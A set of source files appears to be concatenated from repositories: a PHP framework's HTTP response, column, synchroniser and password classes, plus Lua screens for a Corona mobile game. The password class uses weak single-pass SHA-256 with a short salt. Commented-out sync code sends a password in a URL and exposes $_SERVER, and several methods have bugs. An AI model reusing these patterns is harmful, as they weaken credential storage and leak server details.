* Many pre-HTTP/1.1 user agents do not understand the 303
status. When interoperability with such clients is a concern, the
302 status code may be used instead, since most user agents react
to a 302 response as described here for 303.
*/
const HTTP_SEE_OTHER = 303;
const HTTP_NOT_MODIFIED = 304;
const HTTP_USE_PROXY = 305;
/**
* @abstract RFC 2616:<br/>
* The requested resource resides temporarily under a different URI. Since the redirection MAY be altered on occasion, the client SHOULD continue to use the Request-URI for future requests. This response is only cacheable if indicated by a Cache-Control or Expires header field.<br/>
* The temporary URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s) , since many pre-HTTP/1.1 user agents do not understand the 307 status. Therefore, the note SHOULD contain the information necessary for a user to repeat the original request on the new URI.<br/>
* If the 307 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.
*/
const HTTP_TEMPORARY_REDIRECT = 307;
/**
* @abstract RFC 2616:<br/>
* The request could not be understood by the server due to malformed syntax. The client SHOULD NOT repeat the request without modifications.
*/
const HTTP_BAD_REQUEST = 400;
const HTTP_UNAUTHORIZED = 401;
const HTTP_PAYMENT_REQUIRED = 402;
/**
* @abstract RFC 2616:<br/>
* The server understood the request, but is refusing to fulfill it. Authorization will not help and the request SHOULD NOT be repeated. If the request method was not HEAD and the server wishes to make public why the request has not been fulfilled, it SHOULD describe the reason for the refusal in the entity. If the server does not wish to make this information available to the client, the status code 404 (Not Found) can be used instead.
*/
const HTTP_FORBIDDEN = 403;
/**
* @abstract RFC 2616:<br/>
* The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address. This status code is commonly used when the server does not wish to reveal exactly why the request has been refused, or when no other response is applicable.
*/
const HTTP_NOT_FOUND = 404;
const HTTP_METHOD_NOT_ALLOWED = 405;
const HTTP_NOT_ACCEPTABLE = 406;
const HTTP_PROXY_AUTHENTICATION_REQUIRED = 407;
const HTTP_REQUEST_TIME_OUT = 408;
const HTTP_CONFLICT = 409;
const HTTP_GONE = 410;
const HTTP_LENGTH_REQUIRED = 411;
const HTTP_PRECONDITION_FAILED = 412;
const HTTP_REQUEST_ENTITY_TOO_LARGE = 413;
const HTTP_REQUEST_URI_TOO_LARGE = 414;
const HTTP_UNSUPPORTED_MEDIA_TYPE = 415;
const HTTP_REQUESTED_RANGE_NOT_SATISFIABLE = 416;
const HTTP_EXPECTATION_FAILED = 417;
const HTTP_UNPROCESSABLE_ENTITY = 422;
const HTTP_LOCKED = 423;
const HTTP_FAILED_DEPENDENCY = 424;
const HTTP_NO_CODE = 425;
const HTTP_UPGRADE_REQUIRED = 426;
const HTTP_INTERNAL_SERVER_ERROR = 500;
const HTTP_NOT_IMPLEMENTED = 501;
const HTTP_BAD_GATEWAY = 502;
const HTTP_SERVICE_UNAVAILABLE = 503;
const HTTP_GATEWAY_TIME_OUT = 504;
const HTTP_HTTP_VERSION_NOT_SUPPORTED = 505;
/**
* Associative array of value array (key => array(value1, value2))
* @var array
*/
private $headers = array();
/**
* HTTP response code
* @var int
*/
private $http_response_code;
public function __costruct($http_response_code = 200)
{
parent::__construct();
$this->http_response_code = $http_response_code;
}
/**
* Set HTTP response code
* @return HttpResponse fluent interface
*/
public function setResponseCode()
{
$this->http_response_code = $code;
return $this;
}
/**
* Get HTTP response code
* @return int
*/
public function getResponseCode()
{
return $this->http_response_code;
}
public function getResponsePhrase($code = null)
{
if($code === null)
$code = $this->http_response_code;
return self::responsePhrase($code);
}
/**
* Get HTTP response phrase, like 'OK' or 'Not Found'
* @return string
*/
public static function responsePhrase($code)
{
if(isset(self::$HTTP_CODE_PHRASE[$code]))
return self::$HTTP_CODE_PHRASE[$code];
if($code < 100)
return false;
if($code < 200) // 1xx
return "Informational HTTP Class";
if($code < 300) // 2xx
return "OK HTTP Class";
if($code < 400) // 3xx
return "Redirection HTTP Class";
if($code < 500) // 4xx
return "Client Error HTTP Class";
if($code < 600) // 5xx
return "Server Error HTTP Class";
return false;
}
public function setHeader($name, $value, $replace=true)
{
$name = strtolower($name);
$value = (string)$value;
if($replace)
$this->headers[$name] = array(true, $value);
else
{
if(isset($this->headers[$name]))
{
if(is_array($this->headers[$name]))
$this->headers[$name][] = $value;
}
else
$this->headers[$name] = array($value);
}
}
/**
* Set HTTP headers
*/
public function writeResponseHeader()
{
// precondition
$file = ''; $line = '';
if(headers_sent($file, $line))
throw new ApplicationException("Headers already sent (in '$file' at line $line)");
$code = $this->getResponseCode();
$phrase = $this->getResponsePhrase();
foreach($this->headers as $key=>$values)
{
$replace = false;
foreach($values as $val)
{
if($val === true)
$replace = true;
else
{
header("$key: $val", $replace, $code);
$replace = false;
}
}
}
// header() can behave strange if 'Location' is passed..
header("HTTP/1.1 $code $phrase", true, $code);
}
//public abstract function writeResponseContent();
public function writeResponse()
{
$this->writeResponseHeader();
$this->writeResponseContent();
}
}
<file_sep><?php
class ColumnVarchar extends ColumnText
{
private $length;
public function __construct($name, $params = null)
{
if($params !== null)
{
if(is_int($params))
$params = array('length'=>$params);
}
$this->consume_param($params,
'length', array($this, 'setLength'));
parent::__construct($name, $params);
}
public function correctValue(&$value, &$message = null, $strict = false)
{
$result = parent::correctValue($value, $message, $strict);
if($result !== true)
return $result;
$val = (string) $value;
if($this->length !== null && strlen($val) > $this->length)
{
$value = substr($value, 0, $this->length);
$message = "String is too long";
if($strict)
return false;
}
return true;
}
/**
* Get value of length
* @return mixed length
*/
public function getLength() { return $this->length; }
/**
* Set value of length
* @param mixed $value length
* @return ColumnVarchar self
*/
public function setLength($value) { $this->length = $value; return $this; }
}<file_sep><?php
class ColumnId extends TableColumn
{
public static $default_display_name = 'ID';
public static $default_display_hint = 'Primary Key';
public function __construct($name = 'id')
{
parent::__construct($name, array(
'db_column'=>$name,
'display_name'=>self::$default_display_name,
'display_hint'=>self::$default_display_hint,
'delay_load'=>false,
'nullable'=>false,
'required'=>false,
'default_value'=>new PrimaryKeyValueProxy()
));
}
public function correctValue(&$value, &$message = null, $strict = false)
{
if($value instanceof PrimaryKeyValueProxy)
return true;
return parent::correctValue($value, $message, $strict);
}
public function getDefaultValue()
{
return new PrimaryKeyValueProxy(null);
}
public function fromDbFormat($value)
{
return new PrimaryKeyValueProxy($value);
}
public function toDbFormat($value)
{
if($value instanceof PrimaryKeyValueProxy)
return $value->toSql();
}
}<file_sep><?php
/*
* Two phases:
* 1) Get difference info
* 2) Let's user select actions
* 3) Create batch files in public temp directory BatchQueue using redirects
* 4) Verify sync again
*/
class SiteSynchronizer extends SafeObject
{
public $hash_func = 'sha1';
private $partner_url;
private $pass_hash;
private $password;
private $exclude_names = array();
private $exclude_full_names = array();
private $exclude_pattern;
public function __construct($pass_hash, $partner_url)
{
parent::__construct();
$this->pass_hash = $pass_hash;
$this->partner_url = $partner_url;
}
public function addExcludeName($exclude)
{
$this->exclude_names[] = $exclude;
}
public function addExcludeFullName($exclude)
{
$this->exclude_full_names[] = $exclude;
}
protected function isExclude($filename, $root_path)
{
if(in_array($filename, $this->exclude_names)
|| in_array($root_path, $this->exclude_full_names))
return true;
$ignored = ($this->exclude_pattern !== null) ?
preg_match($this->exclude_pattern, $root_path)
: 0;
if($ignored === false)
throw new InvalidOperationException('Exclusion regex error');
return $ignored;
}
public function setExcludeRegex($regex_pattern = null)
{
$this->exclude_pattern = $regex_pattern;
}
protected function prepareExcludeRegex()
{
if(empty($this->excludes))
return $this->exclude_pattern = null;
return $this->exclude_pattern = '%('.implode('|', $this->excludes).')%';
}
public function getFileStates()
{
return array(
'dir_separator'=>DIRECTORY_SEPARATOR,
'content'=>$this->getDirInfo()
);
}
protected function getDirInfo($dirname = null, $trimmed_root = null)
{
if($dirname === null)
$trimmed_root = $dirname = rtrim(DIR_ROOT, DIRECTORY_SEPARATOR);
$result = array();
$trimmed_root_length = strlen($trimmed_root);
$iterator = new DirectoryIterator($dirname);
foreach ($iterator as $fileinfo)
{
$fname = $fileinfo->getFileName();
if($fileinfo->isDot())
continue;
$full_path = $fileinfo->getPathName();
if(substr($full_path, 0, $trimmed_root_length) != $trimmed_root)
throw new Exception("trimmed_root is probably wrong: '$full_path' does not start with '$trimmed_root'");
$root_path = substr($full_path, $trimmed_root_length);
$ignored = $this->isExclude($fname, $root_path);
$real_path = $fileinfo->getRealPath();
$result[$fname] = array(
'FileName'=>$fname,
'RootPathName'=>$root_path,
//'full_name'=>$full_path, // no interest
'RealPath'=>$real_path,
'Type'=>$fileinfo->getType(),
'MTime'=>$fileinfo->getMTime(), // for touch()
'isReadable'=>$fileinfo->isReadable(),
'isWritable'=>$fileinfo->isWritable()
);
if($ignored)
{
$result[$fname]['ignore'] = $ignored;
continue;
}
if($fileinfo->isDir())
{
$result[$fname]['isDir'] = true;
if($fileinfo->isReadable())
{
if($fname == '.git' || $fname == '.svn')
{
$result[$fname]['_INFO'] = 'Skipped';
continue;
}
$result[$fname]['content'] = $this->getDirInfo($full_path, $trimmed_root);
}
}
else if($fileinfo->isFile())
{
$result[$fname]['isFile'] = true;
$result[$fname]['size'] = $fileinfo->getSize();
if($fileinfo->isReadable())
{
$result[$fname]['hash_'.$this->hash_func]=hash_file($this->hash_func, $full_path);
}
}
else
{
$result[$fname]['_ERR'] = 'Not file or directory';
}
}
//get directory tree in array
//contain files - file size, MTime
ksort($result);
return $result;
}
/*
public function process($action = null)
{
$result = null;
$this->action = $action = self::loadParam('action', null, '');
if($action = '')
return $this->manager();
if(!$this->verifyPassword())
return array('error'=>'Password incorrect');
switch($action)
{
case '':
$result = $this->manager();
break;
case 'ping_request':
$result = $this->ping_request();
break;
case 'ping':
$result = $this->ping();
break;
}
if(self::loadParam('ser') !== null)
{
var_export($result);
Application::getInstance()->done();
}
return $result;
}
protected function call_remote($action)
{
if(!$this->verifyPassword())
return array('error'=>'Password incorrect');
$result = file_get_contents("$this->partner_url?ser=1&action=$action&pass=$this-><PASSWORD>");
dd($result);
//return eval();
}
public function ping()
{
return $this->call_remote('ping_request');
}
public function ping_request()
{
return array(
'action'=>'ping',
'password_ok'=>$this->verifyPassword(),
'remote_server'=>$_SERVER
);
}
*/
}
<file_sep><?php
class ColumnBool extends ColumnInteger
{
public function __construct($name, array $params = null)
{
parent::__construct($name, $params);
}
public function validateValue(&$value, $strict=true)
{
if(is_bool($value))
return true;
if($strict)
return "Value must be boolean";
$value = (bool) $value;
return true;
}
function fromDbFormat($value)
{
return (bool)$value;
}
function toDbFormat($value)
{
return $value ? 1 : 0;
}
}<file_sep><?php
class Gallery extends SafeObject implements IteratorAggregate
{
public $images = array();
public function __construct($gallery_dir = null, $url_path = null)
{
parent::__construct();
if($gallery_dir !== null && $url_path !== null)
$this->loadImages($gallery_dir, $url_path);
}
protected function _sort_callback($a, $b)
{
$a = $a->url; $b = $b->url;
if ($a == $b) { return 0; }
return ($a < $b) ? -1 : 1;
}
protected function sort() { usort($this->images, array($this, '_sort_callback')); }
public function loadImages($gallery_dir, $url_path)
{
$dir = new DirectoryIterator($gallery_dir);
foreach($dir as $file)
{
if($file->isFile())
{
$img = GalleryImage::tryCreate($file, $url_path);
if($img)
$this->images[] = $img;
}
}
$this->sort();
}
public function exclude($file)
{
$this->images = array_values($this->images);
$l = count($this->images);
for($i=0; $i < $l; $i++)
{
$img = $this->images[$i];
if($img && ($img->pathinfo['filename'] == $file)
|| ($img->pathinfo['basename'] == $file))
{
unset($this->images[$i]);
return;
}
}
}
public function loadImage($file, $url_path)
{
if(!$file instanceof SplFileInfo)
$file = new SplFileInfo($file);
$img = GalleryImage::tryCreate($file, $url_path);
if(!$img)
return false;
return $this->images[] = $img;
}
public function getIterator () { return new ArrayIterator($this->images); }
}
<file_sep><?php
/**
* Debugging sample
*
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
require_once __DIR__.'/../Classes/Debug.php';
$d = Debug::getInstance();
$d->registerErrorHandlers();
$val = true;
echo '<div>true: '.$d->dump($val).'</div>';
$val = false;
echo '<div>false: '.$d->dump($val).'</div>';
$val = null;
echo '<div>null: '.$d->dump($val).'</div>';
$val = 1;
echo '<div>int 1: '.$d->dump($val).'</div>';
$val = 3.1415927;
echo '<div>float 3.1415927: '.$d->dump($val).'</div>';
$val = array(true, false, null, 1, 2, 3, 'test2', '555', array(1,2,3));
echo '<div>Array: '.$d->dump($val).'</div>';
//$val['this_is_recursive'] = &$val;
//echo '<div>'.$d->dump($val).'</div>';
$val = $d;
echo '<div>Class: '.$d->dump($val).'</div>';
$val = get_declared_classes();
echo '<div>get_declared_classes(): '.$d->dump($val).'</div>';
$val = get_declared_interfaces();
echo '<div>get_declared_interfaces(): '.$d->dump($val).'</div>';
echo '<div>Now we try to use unset variable:</div>';
echo $unset_variable_usage;
echo '<div>And now we throw exception:</div>';
throw new Exception("Test exception");
ReallyNotExistingClass::reallyNotExistingStaticMethod();
echo "This is not executed";
<file_sep><?php
abstract class User extends SafeObject implements IUser
{
private static $currentUser = null;
protected static function setCurrent(IUser $user)
{
User::$currentUser = $user;
}
public static function getCurrent()
{
if($currentUser === null)
$currentUser = AnonymousUser::getInstance();
}
public function isAnonymous()
{
return false;
}
}
<file_sep><?php
/**
* Password handling class. This class never store password itself for security reason, rather it store only salted password hash.
* In default generates password hash 70 characters long, hash function is SHA256 with 5char salt prefix giving 62^5 posibilities
* @author langpavel
*/
final class Password extends SafeObject
{
public static $default_hash_method = 'sha256';
public static $default_salt_width = 5;
private $hash;
private $salt;
private $hash_method;
/**
* Create new encrypted password
* @param string $password plain-text password
* @param string[optional] $hash_method algorithm to be used, defaults to value of static property $default_hash_method
* @return Password
*/
public static function create($password, $hash_method = null, $salt = null)
{
if($password instanceof Password)
return clone $password;
if(!is_string($password))
throw new InvalidArgumentException('Password is not a string');
return new Password($password, true, $hash_method, $salt);
}
/**
* Load encrypted password from string.
* @param string $hashed_password in format "{$salt}:{$hash}"
* @param string $hash_method hash method - possible values are from hash_algos() call result
* @return Password
*/
public static function load($enc_password, $hash_method = null)
{
return new Password($enc_password, false, $hash_method);
}
/**
*
* Enter description here ...
* @param unknown_type $password
* @param unknown_type $create
* @param unknown_type $hash_method
* @param unknown_type $salt
*/
public function __construct($password, $create = true, $hash_method = null, $salt = null)
{
parent::__construct();
$this->hash_method = ($hash_method === null) ? self::$default_hash_method : $hash_method;
if($create)
{
$this->salt = ($salt === null) ? self::createSalt() : $salt;
$this->hash = $this->getHash($password);
}
else
{
if($salt === null)
list($salt, $password) = explode(':', $password, 2);
$this->salt = $salt;
$this->hash = $password;
}
}
public static function createSalt($len = null)
{
return str_random(($len === null) ? self::$default_salt_width : $len);
}
/**
* Read current hash or create salted hash of plain-text password
* @param string $password unencrypted password
*/
public function getHash($password=null)
{
if($password === null)
return $this->hash;
return hash($this->hash_method, $this->salt.$password);
}
/**
* Read current salt
*/
public function getSalt()
{
return $this->salt;
}
/**
* Verify that password match
* @param unknown_type $password
*/
public function verify($password)
{
if($password === null || !is_string($password))
return false;
return $this->hash === $this->getHash($password);
}
/**
* output password hash with salt
*/
public function __toString()
{
return "{$this->salt}:{$this->hash}";
}
}
|
ad04fef83a1d5d438f20e8f12283011660bc3412
|
[
"Markdown",
"SQL",
"PHP"
] | 86 |
PHP
|
boban-dj/PhpSkelet
|
086b49789274118973df596de0a6845d4542b211
|
5d7ae6d82c91f8d4cd122c5ececbdc1f1baab19f
|
refs/heads/master
|
<file_sep>const toggle = document.getElementById('toggle');
const icon = document.getElementById('icon')
toggle.addEventListener('change', (e) => {
document.body.classList.toggle('dark', e.target.checked);
icon.classList.toggle('fa-sun');
icon.classList.toggle('fa-moon');
})<file_sep>const text = "Graphic Designer & Web Developer"
const p = document.getElementById('auto-text')
let index = 1;
function writeText() {
p.innerText = text.slice(0, index)
index++;
if (index > text.length) {
index = 1
}
}
setInterval(writeText, 150);
|
5291aff9278666126d344575dfa9e810599bd52e
|
[
"JavaScript"
] | 2 |
JavaScript
|
shanelbb/fpop-ten-js-proj-one-hour
|
6677574f3ed74a1d99684311b385cec99a1d1a9b
|
f7efd78edce3332323496246ab4afb47f94dee48
|
refs/heads/master
|
<file_sep>'use strict';
var Q = require('q');
var _ = require('lodash');
var moment = require('moment');
var deferRequest = require('defer-request');
var TheMovieDB = function (args) {
if (!args || !args.path) {
return console.error ('The TMDB provider requires a path argument');
}
this.config.tabName += ' — args.path';
this.URL = baseURL + args.path
};
var baseURL = 'http://localhost:8080/';
TheMovieDB.prototype.constructor = TheMovieDB;
TheMovieDB.prototype.config = {
name: 'tmdb',
uniqueId: 'imdb_id',
tabName: 'TheMovieDB.org',
type: 'movie',
/* should be removed */
//subtitle: 'ysubs',
metadata: 'trakttv:movie-metadata'
};
function exctractYear(movie) {
var metadata = movie.metadata;
if (metadata.hasOwnProperty('year')) {
return metadata.year[0];
} else if (metadata.hasOwnProperty('date')) {
return metadata.date[0];
} else if (metadata.hasOwnProperty('addeddate')) {
return metadata.addeddate[0];
}
return 'UNKNOWN';
}
function extractRating(movie) {
if (movie.hasOwnProperty('reviews')) {
return movie.reviews.info.avg_rating;
}
return 0;
}
function formatOMDbforButter(movie) {
var id = movie.imdbID;
var runtime = movie.Runtime;
var year = movie.Year;
var rating = movie.imdbRating;
movie.Quality = '480p'; // XXX
return {
type: 'movie',
aid: movie.tmdb.identifier,
imdb: id,
imdb_id: id,
title: movie.Title,
genre: [movie.Genre],
year: year,
rating: rating,
runtime: runtime,
image: undefined,
cover: undefined,
images: {
poster: undefined
},
synopsis: movie.Plot,
subtitle: {} // TODO
};
}
function formatDetails(movie, old) {
var id = movie.metadata.identifier[0];
/* HACK (xaiki): tmdb.org, get your data straight !#$!
*
* We need all this because data doesn't come reliably tagged =/
*/
var mp4s = _.filter(movie.files, function (file, k) {
return k.endsWith('.mp4');
});
var url = 'http://' + movie.server + movie.dir;
var turl = '/' + id + '_tmdb.torrent';
var torrentInfo = movie.files[turl];
// Calc torrent health
var seeds = 0; //XXX movie.TorrentSeeds;
var peers = 0; //XXX movie.TorrentPeers;
movie.Quality = '480p'; // XXX
var torrents = {};
torrents[movie.Quality] = {
url: url + turl,
size: torrentInfo.size,
seed: seeds,
peer: peers
};
old.torrents = torrents;
old.health = false;
return old;
}
function formatTheMovieDBForButter(movie) {
return {
type: 'movie',
imdb: movie.id,
title: movie.title,
year: 0,
rating: movie.popularity,
runtime: 0,
image: movie.backdrop_path,
cover: movie.poster_path,
images: {
poster: movie.poster_path,
},
synopsis: movie.overview,
subtitle: {}
}
}
var queryTorrents = function (URL, filters) {
var self = this;
var sort = 'downloads';
console.log ('this url', URL)
var params = {
rows: '50',
};
if (filters.keywords) {
params.keywords = filters.keywords.replace(/\s/g, '% ');
}
if (filters.genre) {
params.genre = filters.genre;
}
var order = 'desc';
if (filters.order) {
if (filters.order === 1) {
order = 'asc';
}
}
if (filters.sorter && filters.sorter !== 'popularity') {
sort = filters.sorter;
}
sort += '+' + order;
if (filters.page) {
params.page = filters.page;
}
console.error ('about to request', URL);
return deferRequest(URL)
.then(function (data) {
return data.results;
})
.catch(function (err) {
console.error('TMDB.org error:', err);
});
};
var queryDetails = function (id, movie) {
id = movie.aid || id;
var url = baseURL + 'details/' + id + '?output=json';
console.info('Request to TMDB.org API', url);
return deferRequest(url).then(function (data) {
return data;
})
.catch(function (err) {
console.error('TheMovieDB.org error', err);
});
};
var queryOMDb = function (item) {
var params = {
t: item.title.replace(/\s+\([0-9]+\)/, ''),
r: 'json',
tomatoes: true
};
var url = 'http://www.omdbapi.com/';
return deferRequest(url, params).then(function (data) {
if (data.Error) {
throw new Error(data);
}
data.tmdb = item;
return data;
});
};
var queryOMDbBulk = function (items) {
console.error('before details', items);
var deferred = Q.defer();
var promises = _.map(items, function (item) {
return queryOMDb(item)
.then(formatOMDbforButter)
.catch(function (err) {
console.error('no data on OMDB, going back to tmdb', err, item);
return formatTheMovieDBForButter(item);
return queryDetails(item.identifier, item)
.then();
});
});
Q.all(promises).done(function (data) {
console.error('queryOMDbbulk', data);
deferred.resolve({
hasMore: (data.length < 50),
results: data
});
});
return deferred.promise;
};
TheMovieDB.prototype.extractIds = function (items) {
return _.pluck(items.results, 'imdb');
};
TheMovieDB.prototype.fetch = function (filters) {
console.log ('fetch from tmdb', this.URL)
return queryTorrents(this.URL, filters)
.then(queryOMDbBulk);
};
TheMovieDB.prototype.detail = function (torrent_id, old_data) {
return queryDetails(torrent_id, old_data)
.then(function (data) {
return formatDetails(data, old_data);
});
};
mosdule.exports = TheMovieDB
|
5f04ed6db0c85be2a47688fb750a2ed97e025567
|
[
"JavaScript"
] | 1 |
JavaScript
|
LanternVideos/butter-provider-tmdb
|
b36710bf58430c8f85eb9f5dec17832083fde1e6
|
bcb1dedea277a8a8cfaf36ddc333654ffbeec910
|
refs/heads/master
|
<file_sep>application =
{
content =
{
graphicsCompatibility = 1,
width = 320,
height = 480,
scale = "zoomStretch",
imageSuffix =
{
["@15x"] = 1.5,
["@2x"] = 2.1,
},
fps = 30,
}
}
<file_sep>--[[
@author <NAME>
]]
local composer = require( "composer" )
local helper = require( "helper" )
local slideView = require("Zunware_SlideView")
local scene = composer.newScene()
local centerWidth = display.contentWidth / 2
local xMin = display.screenOriginX
local yMin = display.screenOriginY
local xMax = display.contentWidth - display.screenOriginX
local yMax = display.contentHeight - display.screenOriginY
local _W = display.contentWidth
local _H = display.contentHeight
function scene:create( event )
local sceneGroup = self.view
display.setDefault("background", 255, 255, 255, 1)
local titlePageProfile = createMessage( "Informações", display.contentWidth * 0.5, 40 )
sceneGroup:insert(titlePageProfile)
local msgName = display.newText("<NAME>", display.contentWidth * 0.04, 80, native.systemFontBold, 22)
msgName:setTextColor(0.9, 0.9, 0.9)
sceneGroup:insert(msgName)
local msgInfo = display.newText("FA7 - SI: Estágio 1", display.contentWidth * 0.05, 110, native.systemFontBold, 22)
msgInfo:setTextColor(1, 1, 1)
sceneGroup:insert(msgInfo)
local msgProject = display.newText("Projeto: subway-run", display.contentWidth * 0.05, 140, native.systemFontBold, 22)
msgProject:setTextColor(1, 1, 1)
sceneGroup:insert(msgProject)
local msgGithub = display.newText("https://github.com/fgleilsonf", display.contentWidth * 0.05, 170, native.systemFontBold, 21)
msgGithub:setTextColor(1, 1, 1)
sceneGroup:insert(msgGithub)
local btnBackPage = display.newImage( "images/back_pages.png" )
btnBackPage.x = display.contentWidth * 0.5
btnBackPage.y = display.contentHeight - 40
sceneGroup:insert(btnBackPage)
function btnBackPage:tap()
composer.gotoScene( "menu" )
end
btnBackPage:addEventListener("tap", btnBackPage)
end
function scene:show( event )
local sceneGroup = self.view
local phase = event.phase
if ( phase == "will" ) then
elseif ( phase == "did" ) then
end
end
function scene:hide( event )
local sceneGroup = self.view
local phase = event.phase
if ( event.phase == "will" ) then
elseif ( phase == "did" ) then
end
end
function scene:destroy( event )
local sceneGroup = self.view
end
scene:addEventListener( "create", scene )
scene:addEventListener( "show", scene )
scene:addEventListener( "hide", scene )
scene:addEventListener( "destroy", scene )
return scene<file_sep>--[[
@author <NAME>
]]
local composer = require( "composer" )
local helper = require( "helper" )
local slideView = require("Zunware_SlideView")
local scene = composer.newScene()
local centerWidth = display.contentWidth / 2
local xMin = display.screenOriginX
local yMin = display.screenOriginY
local xMax = display.contentWidth - display.screenOriginX
local yMax = display.contentHeight - display.screenOriginY
local _W = display.contentWidth
local _H = display.contentHeight
function scene:create( event )
local sceneGroup = self.view
local background = display.newImageRect("images/background-pages.jpg", xMax-xMin, yMax-yMin)
background.x = _W * 0.5
background.y = _H * 0.5
sceneGroup:insert(background)
local titlePageTutotial = createMessage( "Tutorial", display.contentWidth * 0.5, 40 )
sceneGroup:insert(titlePageTutotial)
local images = {
"images/tutorial/menu.png",
"images/tutorial/game.png",
"images/tutorial/gameover.png"
}
local slideImages = slideView.new(images, nil)
sceneGroup:insert(slideImages)
local btnPrev = display.newImage( "images/circle_back_arrow.png" )
btnPrev.x = display.contentWidth * 0.1
btnPrev.y = display.contentHeight / 2
sceneGroup:insert(btnPrev)
local btnNext = display.newImage( "images/circle_next_arrow.png" )
btnNext.x = display.contentWidth * 0.9
btnNext.y = display.contentHeight / 2
sceneGroup:insert(btnNext)
local btnBackPage = display.newImage( "images/back_pages.png" )
btnBackPage.x = display.contentWidth * 0.5
btnBackPage.y = display.contentHeight - 40
sceneGroup:insert(btnBackPage)
function btnPrev:tap(event)
if (slideImages.imgNum > 1) then
slideImages:prevImage()
end
end
function btnNext:tap(event)
if (slideImages.imgNum < #images) then
slideImages:nextImage()
end
end
function btnBackPage:tap()
composer.gotoScene( "menu" )
end
btnPrev:addEventListener("tap", btnPrev)
btnNext:addEventListener("tap", btnNext)
btnBackPage:addEventListener("tap", btnBackPage)
end
function scene:show( event )
local sceneGroup = self.view
local phase = event.phase
if ( phase == "will" ) then
elseif ( phase == "did" ) then
end
end
function scene:hide( event )
local sceneGroup = self.view
local phase = event.phase
if ( event.phase == "will" ) then
elseif ( phase == "did" ) then
end
end
function scene:destroy( event )
local sceneGroup = self.view
end
scene:addEventListener( "create", scene )
scene:addEventListener( "show", scene )
scene:addEventListener( "hide", scene )
scene:addEventListener( "destroy", scene )
return scene<file_sep>--[[
@author <NAME>
]]
local composer = require( "composer" )
local scene = composer.newScene()
local audio = require "audio"
local helper = require( "helper" )
function scene:create( event )
local sceneGroup = self.view
local xMin = display.screenOriginX
local yMin = display.screenOriginY
local xMax = display.contentWidth - display.screenOriginX
local yMax = display.contentHeight - display.screenOriginY
local _W = display.contentWidth
local _H = display.contentHeight
local _POSITION_PERSON_RIGHT = _W * 0.71
local _POSITION_PERSON_CENTER = _W * 0.45
local _POSITION_PERSON_LEFT = _W * 0.18
local _MOEDA_TIPO_NORMAL = "moeda"
local _MOEDA_TIPO_MONOTONE = "moedaMonotone"
local _MOEDA_TIPO_INVALIDA = "moedaInvalida"
local CENTER = "center"
local LEFT = "left"
local RIGHT = "right"
local _MOEDA_LEFT = -54
local _MOEDA_CENTER = -5
local _MOEDA_RIGHT = 40
local countPoints = 0
local countEstrelaPoints = 0
local countEstrelaPoints2 = 0
local addTimeCreateMoeda = {}
local addTimePontuacao = {}
local timeCreateMoeda
local timerPontuacao
local TIMER = 1000
local captureSound = audio.loadSound( "audios/capture.mp3" )
local gameOverSound = audio.loadSound( "audios/gameover.mp3" )
local background = display.newImageRect("images/fundo2.jpg", xMax-xMin, yMax-yMin)
background.myName = "ground"
background.x = _W * 0.5
background.y = _H * 0.5
sceneGroup:insert(background)
local titleGame = createMessage( "Subway Run", display.contentWidth * 0.5, 30 )
local pontuacao = createMessage( "0", display.contentWidth * 0.12, 80 )
local estrela = createMessage( "0", display.contentWidth - 30, 160 )
local estrelaMonotone = createMessage( "0", display.contentWidth - 30, 80 )
sceneGroup:insert(titleGame)
sceneGroup:insert(pontuacao)
sceneGroup:insert(estrela)
sceneGroup:insert(estrelaMonotone)
function capturaMoeda( obj )
if (obj.myName == _MOEDA_TIPO_NORMAL) then
audio.play( captureSound )
countEstrelaPoints = countEstrelaPoints + 1
estrela.textObject.text = countEstrelaPoints
elseif (obj.myName == _MOEDA_TIPO_MONOTONE) then
audio.play( captureSound )
countEstrelaPoints2 = countEstrelaPoints2 + 1
estrelaMonotone.textObject.text = countEstrelaPoints2
else
audio.play( gameOverSound )
timer.cancel(timerPontuacao)
timer.cancel(timeCreateMoeda)
sceneGroup:insert(pontuacao)
sceneGroup:insert(estrela)
sceneGroup:insert(estrelaMonotone)
composer.removeScene( "game" )
composer.gotoScene( "gameover" )
end
setData()
end
function addTimePontuacao:timer( event )
countPoints = countPoints + 1
pontuacao.textObject.text = countPoints
setData()
end
local trilho = display.newImage( "images/trilhos.jpg" )
trilho.x = _W * 0.2
trilho.y = _H - 570
trilho.height = _H + 1500
trilho.width = _W + 60
trilho.path.x1 = 240
trilho.path.x3 = 50
trilho.path.y1 = 1200
trilho.path.y4 = 1200
sceneGroup:insert(trilho)
local moedaPontuacao = display.newImage( "images/moeda.png" )
moedaPontuacao.x = 290
moedaPontuacao.path.y1 = 30
moedaPontuacao.path.y2 = 30
moedaPontuacao.path.y3 = 30
moedaPontuacao.path.y4 = 30
moedaPontuacao.fill.effect = "filter.monotone"
moedaPontuacao.fill.effect.r = 1
moedaPontuacao.fill.effect.g = 0.2
moedaPontuacao.fill.effect.b = 0
moedaPontuacao.fill.effect.a = 1
sceneGroup:insert(moedaPontuacao)
local moedaPontuacao2 = display.newImage( "images/moeda.png" )
moedaPontuacao2.x = 290
moedaPontuacao2.path.y1 = 110
moedaPontuacao2.path.y2 = 110
moedaPontuacao2.path.y3 = 110
moedaPontuacao2.path.y4 = 110
sceneGroup:insert(moedaPontuacao2)
local sheetData = { width=45, height=63, numFrames=12 }
local spriteOptions = { name="gaara", start=1, count=12, time=300 }
local sheet = graphics.newImageSheet("images/gaara.png", sheetData)
local sequenceData =
{
{ name = "idleDown", start = 1, count = 1, time = 3000, loopCount = 1 },
{ name = "idleLeft", start = 4, count = 1, time = 3000, loopCount = 1 },
{ name = "idleRight", start = 7, count = 1, time = 3000, loopCount = 1 },
{ name = "idleUp", start = 10, count = 1, time = 3000, loopCount = 1 },
{ name = "moveDown", start = 2, count = 2, time = 3000, loopCount = 0 },
{ name = "moveLeft", start = 5, count = 2, time = 3000, loopCount = 0 },
{ name = "moveRight", start = 8, count = 2, time = 3000, loopCount = 0 },
{ name = "moveUp", start = 11, count = 2, time = 3000, loopCount = 0 },
}
local spriteInstance = display.newSprite(sheet, sequenceData)
spriteInstance.myName = "sprite"
